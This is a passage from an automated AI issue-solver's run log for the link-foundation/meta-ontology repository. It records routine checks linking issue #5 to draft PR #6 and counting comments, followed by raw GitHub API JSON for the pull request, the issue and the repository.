#6...\n[2026-07-12T04:02:01.352Z] [STDOUT] I_kwDOSNlfVs8AAAABBB4huQ\n[2026-07-12T04:02:01.369Z] [INFO]    Issue node ID: I_kwDOSNlfVs8AAAABBB4huQ\n[2026-07-12T04:02:02.327Z] [STDOUT] PR_kwDOSNlfVs7wrEJ6\n[2026-07-12T04:02:02.336Z] [INFO]    PR node ID: PR_kwDOSNlfVs7wrEJ6\n[2026-07-12T04:02:03.300Z] [STDOUT] 5\n[2026-07-12T04:02:03.311Z] [INFO] \u2705 Link verified:            Issue #5 \u2192 PR #6\n[2026-07-12T04:02:04.274Z] [STDOUT] konard\n[2026-07-12T04:02:04.290Z] [INFO]   \ud83d\udc64 Current user:           konard\n[2026-07-12T04:02:04.294Z] [INFO] \n[2026-07-12T04:02:04.294Z] [INFO] \ud83d\udcca Comment counting conditions:\n[2026-07-12T04:02:04.299Z] [INFO]    prNumber: 6\n[2026-07-12T04:02:04.303Z] [INFO]    branchName: issue-5-e2602184e2c5\n[2026-07-12T04:02:04.305Z] [INFO]    isContinueMode: false\n[2026-07-12T04:02:04.307Z] [INFO]    Will count comments: true\n[2026-07-12T04:02:04.317Z] [INFO] \ud83d\udcac Counting comments:        Checking for new comments since last commit...\n[2026-07-12T04:02:04.328Z] [INFO]    PR #6 on branch: issue-5-e2602184e2c5\n[2026-07-12T04:02:04.340Z] [INFO]    Owner/Repo: link-foundation/meta-ontology\n[2026-07-12T04:02:04.351Z] [INFO]    Repository path: /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:04.402Z] [STDOUT] 2026-07-12T04:01:46+00:00\n[2026-07-12T04:02:04.410Z] [INFO]   \ud83d\udcc5 Last commit time:       2026-07-12T04:01:46.000Z\n[2026-07-12T04:02:04.891Z] [STDOUT] []\n[2026-07-12T04:02:05.392Z] [STDOUT] []\n[2026-07-12T04:02:05.966Z] [STDOUT] []\n[2026-07-12T04:02:06.008Z] [INFO]   \ud83d\udcac New PR comments:        0\n[2026-07-12T04:02:06.014Z] [INFO]   \ud83d\udcac New PR review comments: 0\n[2026-07-12T04:02:06.029Z] [INFO]   \ud83d\udcac New issue comments:     0\n[2026-07-12T04:02:06.032Z] [INFO]    Total new comments: 0\n[2026-07-12T04:02:06.035Z] [INFO]    Comment lines to add: No (saving tokens)\n[2026-07-12T04:02:06.039Z] [INFO]    PR review comments fetched: 0\n[2026-07-12T04:02:06.042Z] [INFO]    PR conversation comments fetched: 0\n[2026-07-12T04:02:06.045Z] [INFO]    Total PR comments checked: 0\n[2026-07-12T04:02:06.826Z] [STDOUT] {\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\",\"id\":4037821050,\"node_id\":\"PR_kwDOSNlfVs7wrEJ6\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/pull/6\",\"diff_url\":\"https://github.com/link-foundation/meta-ontology/pull/6.diff\",\"patch_url\":\"https://github.com/link-foundation/meta-ontology/pull/6.patch\",\"issue_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6\",\"number\":6,\"state\":\"open\",\"locked\":false,\"title\":\"[WIP] We should use best practices from https://github.com/open-metadata/OpenMetadata\",\"user\":{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false},\"body\":\"## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #5.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #5\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\",\"created_at\":\"2026-07-12T04:01:56Z\",\"updated_at\":\"2026-07-12T04:01:58Z\",\"closed_at\":null,\"merged_at\":null,\"merge_commit_sha\":\"393fc812479a9155ccabf12eba2866ddd337f2c9\",\"assignees\":[{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false}],\"requested_reviewers\":[],\"requested_teams\":[],\"labels\":[],\"milestone\":null,\"draft\":true,\"commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6/commits\",\"review_comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6/comments\",\"review_comment_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/comments{/number}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6/comments\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/e4a**********************************43d\",\"head\":{\"label\":\"link-foundation:issue-5-e2602184e2c5\",\"ref\":\"issue-5-e2602184e2c5\",\"sha\":\"e4a**********************************43d\",\"user\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"repo\":{\"id\":1222205270,\"node_id\":\"R_kgDOSNlfVg\",\"name\":\"meta-ontology\",\"full_name\":\"link-foundation/meta-ontology\",\"private\":false,\"owner\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/link-foundation/meta-ontology\",\"description\":\"A ontology that can describe itself\",\"fork\":false,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"forks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/forks\",\"keys_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/teams\",\"hooks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/hooks\",\"issue_events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/events\",\"assignees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/tags\",\"blobs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/languages\",\"stargazers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/stargazers\",\"contributors_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contributors\",\"subscribers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscribers\",\"subscription_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscription\",\"commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments{/number}\",\"contents_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/merges\",\"archive_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/downloads\",\"issues_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels{/name}\",\"releases_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/releases{/id}\",\"deployments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/deployments\",\"created_at\":\"2026-04-27T06:26:24Z\",\"updated_at\":\"2026-04-27T09:03:35Z\",\"pushed_at\":\"2026-07-12T04:01:48Z\",\"git_url\":\"git://github.com/link-foundation/meta-ontology.git\",\"ssh_url\":\"git@github.com:link-foundation/meta-ontology.git\",\"clone_url\":\"https://github.com/link-foundation/meta-ontology.git\",\"svn_url\":\"https://github.com/link-foundation/meta-ontology\",\"homepage\":\"https://link-foundation.github.io/meta-ontology/\",\"size\":2197,\"stargazers_count\":0,\"watchers_count\":0,\"language\":\"Rust\",\"has_issues\":true,\"has_projects\":true,\"has_downloads\":true,\"has_wiki\":true,\"has_pages\":true,\"has_discussions\":false,\"forks_count\":0,\"mirror_url\":null,\"archived\":false,\"disabled\":false,\"open_issues_count\":2,\"license\":{\"key\":\"unlicense\",\"name\":\"The Unlicense\",\"spdx_id\":\"Unlicense\",\"url\":\"https://api.github.com/licenses/unlicense\",\"node_id\":\"MDc6TGljZW5zZTE1\"},\"allow_forking\":true,\"is_template\":false,\"web_commit_signoff_required\":false,\"has_pull_requests\":true,\"pull_request_creation_policy\":\"all\",\"topics\":[],\"visibility\":\"public\",\"forks\":0,\"open_issues\":2,\"watchers\":0,\"default_branch\":\"main\"}},\"base\":{\"label\":\"link-foundation:main\",\"ref\":\"main\",\"sha\":\"04e**********************************70b\",\"user\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"repo\":{\"id\":1222205270,\"node_id\":\"R_kgDOSNlfVg\",\"name\":\"meta-ontology\",\"full_name\":\"link-foundation/meta-ontology\",\"private\":false,\"owner\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starre\n[2026-07-12T04:02:06.836Z] [STDOUT] d_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/link-foundation/meta-ontology\",\"description\":\"A ontology that can describe itself\",\"fork\":false,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"forks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/forks\",\"keys_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/teams\",\"hooks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/hooks\",\"issue_events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/events\",\"assignees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/tags\",\"blobs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/languages\",\"stargazers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/stargazers\",\"contributors_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contributors\",\"subscribers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscribers\",\"subscription_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscription\",\"commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments{/number}\",\"contents_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/merges\",\"archive_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/downloads\",\"issues_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels{/name}\",\"releases_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/releases{/id}\",\"deployments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/deployments\",\"created_at\":\"2026-04-27T06:26:24Z\",\"updated_at\":\"2026-04-27T09:03:35Z\",\"pushed_at\":\"2026-07-12T04:01:48Z\",\"git_url\":\"git://github.com/link-foundation/meta-ontology.git\",\"ssh_url\":\"git@github.com:link-foundation/meta-ontology.git\",\"clone_url\":\"https://github.com/link-foundation/meta-ontology.git\",\"svn_url\":\"https://github.com/link-foundation/meta-ontology\",\"homepage\":\"https://link-foundation.github.io/meta-ontology/\",\"size\":2197,\"stargazers_count\":0,\"watchers_count\":0,\"language\":\"Rust\",\"has_issues\":true,\"has_projects\":true,\"has_downloads\":true,\"has_wiki\":true,\"has_pages\":true,\"has_discussions\":false,\"forks_count\":0,\"mirror_url\":null,\"archived\":false,\"disabled\":false,\"open_issues_count\":2,\"license\":{\"key\":\"unlicense\",\"name\":\"The Unlicense\",\"spdx_id\":\"Unlicense\",\"url\":\"https://api.github.com/licenses/unlicense\",\"node_id\":\"MDc6TGljZW5zZTE1\"},\"allow_forking\":true,\"is_template\":false,\"web_commit_signoff_required\":false,\"has_pull_requests\":true,\"pull_request_creation_policy\":\"all\",\"topics\":[],\"visibility\":\"public\",\"forks\":0,\"open_issues\":2,\"watchers\":0,\"default_branch\":\"main\"}},\"_links\":{\"self\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\"},\"html\":{\"href\":\"https://github.com/link-foundation/meta-ontology/pull/6\"},\"issue\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6\"},\"comments\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6/comments\"},\"review_comments\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6/comments\"},\"review_comment\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/comments{/number}\"},\"commits\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6/commits\"},\"statuses\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/e4a**********************************43d\"}},\"author_association\":\"MEMBER\",\"auto_merge\":null,\"assignee\":{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false},\"active_lock_reason\":null,\"merged\":false,\"mergeable\":true,\"rebaseable\":true,\"mergeable_state\":\"unstable\",\"merged_by\":null,\"comments\":0,\"review_comments\":0,\"maintainer_can_modify\":false,\"commits\":1,\"additions\":1,\"deletions\":0,\"changed_files\":1}\n[2026-07-12T04:02:07.285Z] [STDOUT] {\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5\",\"repository_url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"labels_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/labels{/name}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/comments\",\"events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/events\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/issues/5\",\"id\":4364050873,\"node_id\":\"I_kwDOSNlfVs8AAAABBB4huQ\",\"number\":5,\"title\":\"We should use best practices from https://github.com/open-metadata/OpenMetadata\",\"user\":{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false},\"labels\":[{\"id\":10798794804,\"node_id\":\"LA_kwDOSNlfVs8AAAACg6iINA\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels/documentation\",\"name\":\"documentation\",\"color\":\"0075ca\",\"default\":true,\"description\":\"Improvements or additions to documentation\"},{\"id\":10798794831,\"node_id\":\"LA_kwDOSNlfVs8AAAACg6iITw\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels/enhancement\",\"name\":\"enhancement\",\"color\":\"a2eeef\",\"default\":true,\"description\":\"New feature or request\"}],\"state\":\"open\",\"locked\":false,\"assignees\":[],\"milestone\":null,\"comments\":0,\"created_at\":\"2026-05-01T10:59:10Z\",\"updated_at\":\"2026-07-11T23:56:06Z\",\"closed_at\":null,\"assignee\":null,\"author_association\":\"MEMBER\",\"issue_field_values\":[],\"type\":{\"id\":22969357,\"node_id\":\"IT_kwDOCoAzvc4BXnwN\",\"name\":\"Feature\",\"description\":\"A request, idea, or new functionality\",\"color\":\"blue\",\"created_at\":\"2024-07-20T19:06:39Z\",\"updated_at\":\"2024-10-08T23:47:30Z\",\"is_enabled\":true},\"active_lock_reason\":null,\"sub_issues_summary\":{\"total\":0,\"completed\":0,\"percent_completed\":0},\"issue_dependencies_summary\":{\"blocked_by\":0,\"total_blocked_by\":0,\"blocking\":0,\"total_blocking\":0},\"body\":\"We need to collect data related about the issue to this repository, make sure we compile that data to `./docs/case-studies/issue-{id}` folder, and use it to do deep case study analysis (also make sure to search online for additional facts and data), list of each and all requirements from the issue, and propose possible solutions and solution plans for each requirement (we should also check known existing components/libraries, that solve similar problem or can help in solutions).\\n\\nPlease plan and execute everything in this single pull request, you have unlimited time and context, as context auto-compacts and you can continue indefinitely, until it is each and every requirement fully addressed, and everything is totally done.\",\"closed_by\":null,\"reactions\":{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/reactions\",\"total_count\":0,\"+1\":0,\"-1\":0,\"laugh\":0,\"hooray\":0,\"confused\":0,\"heart\":0,\"rocket\":0,\"eyes\":0},\"timeline_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/timeline\",\"performed_via_github_app\":null,\"state_reason\":null,\"pinned_comment\":null}\n[2026-07-12T04:02:07.929Z] [STDOUT] {\"id\":1222205270,\"node_id\":\"R_kgDOSNlfVg\",\"name\":\"meta-ontology\",\"full_name\":\"link-foundation/meta-ontology\",\"private\":false,\"owner\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/link-foundation/meta-ontology\",\"description\":\"A ontology that can describe itself\",\"fork\":false,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"forks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/forks\",\"keys_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/teams\",\"hooks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/hooks\",\"issue_events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/events\",\"assignees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/tags\",\"blobs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/languages\",\"stargazers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/stargazers\",\"contributors_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contributors\",\"subscribers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscribers\",\"subscription_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscription\",\"commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments{/number}\",\"contents_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/merges\",\"archive_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/downloads\",\"issues_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/notifications{?since,all,participating}\",\"labels_